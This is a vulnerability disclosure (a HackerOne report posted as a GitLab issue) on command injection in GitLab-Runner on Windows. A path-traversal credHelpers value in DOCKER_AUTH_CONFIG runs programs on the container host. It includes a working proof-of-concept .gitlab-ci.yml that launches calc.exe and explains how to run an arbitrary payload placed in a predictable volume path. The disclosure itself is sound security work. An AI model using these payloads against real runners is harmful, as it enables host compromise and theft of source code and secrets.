Skip to content

GitLab-Runner on Windows `DOCKER_AUTH_CONFIG` container host Command Injection

HackerOne report #955016 by ajxchapman on 2020-08-10, assigned to @ngeorge1:

Summary

GitLab-Runner, when running on Windows with a docker executor, is vulnerable to Command Injection via the DOCKER_AUTH_CONFIG build variable. Injected commands are executed on the container host, not within a Docker container, as such could compromise all future builds which are executed by the runner.

Details

When using a docker executor, the DOCKER_AUTH_CONFIG build variable is processed as a JSON docker config file. One of the possible config values, credHelpers, specifies a hash of repository keys to docker Credential Helper application values.

{
  "credHelpers" : {  
    "repo.example.com" : "application"  
  }  
}

When gitlab-runner attempts to create an image, each key value pair in the credHelpers hash is processed, and the corresponding Credential Helper application is executed by gitlab-runner in order to obtain credentials for the repository. This execution occurs on the docker container host, gitlab-runner directly execs the Credential Helper to receive it's output.

Docker Credential Helpers, as processed by the github.com/docker/cli/cli/config/credentials/native_store.go:NewNativeStore function are prepended with the string docker-credential- before execution:

// github.com/docker/cli/cli/config/credentials/native_store.go  
const (  
	remoteCredentialsPrefix = "docker-credential-"  
	tokenUsername           = "<token>"  
)

...

func NewNativeStore(file store, helperSuffix string) Store {  
	name := remoteCredentialsPrefix + helperSuffix  
	return &nativeStore{  
		programFunc: client.NewShellProgramFunc(name),  
		fileStore:   NewFileStore(file),  
	}  
}

This is sufficient to prevent command injection on *nix based systems, however Windows based systems can exploit path traversal to execute arbitrary programs as Credential Helpers. E.G. a credHelper of {"helper" : :/../../../../../../../../Windows/System32/calc.exe"} would result in the application docker-credential-/../../../../../../../../Windows/System32/calc.exe being executed, which on a Windows system would resolve to C:/Windows/System32/calc.exe. This only affects Windows based systems, as Windows does not verify path directories exist during path normalization. In this case, Windows does not check the directory docker-credential- exists as it is normalized out due to the path traversal characters following it.

The Credential Helper execution is ultimately called in the gitlab-runner code by gitlab.com/gitlab-org/gitlab-runner/helpers/docker/auth/auth.go:readConfigsFromCredentialsHelper calling the github.com/docker/cli/cli/config/credentials/native_store.go:Get docker API method:

// gitlab.com/gitlab-org/gitlab-runner/helpers/docker/auth/auth.go  
func readConfigsFromCredentialsHelper(config *configfile.ConfigFile) (map[string]types.AuthConfig, error) {  
	helpersAuths := make(map[string]types.AuthConfig)

	for registry, helper := range config.CredentialHelpers {  
		store := credentials.NewNativeStore(config, helper)

		newAuths, err := store.Get(registry)  

The issue exists as the gitlab-runner code does not check for path traversals in Credential Helper values before passing them to the docker API.

In it's simplest form, this issue can be exploited to execute any program that exists on the system running gitlab-runner with uncontrolled arguments. However, arbitrary programs can be executed by setting up a service which downloads an executable payload to the C:\Builds volume mounted directory, and setting the full path to the volume mounted directory as the credHelper value, e.g.:

{
  "helper" : "/../../../../../../../../ProgramData/docker/volumes/runner-aapjznsw-project-20444930-concurrent-0-cache-cde2929a41401004cf47d36bdb2eb380/_data/testfile.exe"  
}

This works as the following three conditions are met:

  1. The source of the volume mounted build directory is predictable per build
  2. The DOCKER_AUTH_CONFIG is processed once for each created container
  3. The build container is created after all service containers have been started.

Steps to reproduce

  • Register and run a runner on a Windows system with a docker executor and a tag of windows-docker-runner.
  • Create a Build with the following .gitlab-ci.yml:
services:  
  - alpasdfasdfasdfasdfasdfidne:3.5  
variables:  
  DOCKER_AUTH_CONFIG: "{\"credHelpers\" : {\"repo.example.com\" : \"/../../../../../../../../Windows/System32/calc.exe\"}}"

build1:  
  tags:  
    - windows-docker-runner  
  stage: build  
  script:  
    - whoami  

When gitlab-runner picks up the build it will process the DOCKER_AUTH_CONFIG json and launch the CredentialHelper specified, in this case calc.exe.

Confirmed vulnerable version configurations are:

  • gitlab-runner 13.2.2 on Windows 10 with Docker Toolbox (docker runner)
  • gitlab-runner 13.2.2 on Windows 2019 with Docker Enterprise (docker-windows runner)

Impact

Exploitation of this issue could compromise the underlying system on which gitlab-runner runs, exposing source code, build artifacts and other sensitive data to a malicious user.

What is the current bug behavior?

gitlab-runner passes unsanitized JSON values from the DOCKER_AUTH_CONFIG build variable to the github.com/docker/cli/cli/config/credentials/native_store.go:NewNativeStore docker API function, which may result in command injection on Windows systems.

What is the expected correct behavior?

JSON supplied via the DOCKER_AUTH_CONFIG build variable should be processed to ensure it does not contain malicious content.

Relevant logs and/or screenshots

gitlab-runner-windows.mp4

Output of checks

gitlab-runner --version

Version:      13.2.2  
Git revision: a998cacd  
Git branch:   refs/pipelines/172580057  
GO version:   go1.13.8  
Built:        2020-07-30T14:52:23+0000  
OS/Arch:      windows/amd64  

config.toml

concurrent = 1  
check_interval = 0

[session_server]  
  session_timeout = 1800

[[runners]]  
  name = "windows"  
  url = "https://gitlab.com"  
  token = "REDACTED"  
  executor = "docker-windows"  
  [runners.custom_build_dir]  
  [runners.cache]  
    [runners.cache.s3]  
    [runners.cache.gcs]  
  [runners.docker]  
    tls_verify = false  
    image = "mcr.microsoft.com/windows/servercore:1809"  
    privileged = false  
    disable_entrypoint_overwrite = false  
    oom_kill_disable = false  
    disable_cache = false  
    volumes = ["c:\\cache"]  
    shm_size = 0  

Impact

Exploitation of this issue could compromise the underlying system on which gitlab-runner runs, exposing source code, build artifacts and other sensitive data to a malicious user.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

Edited by Dominic Couture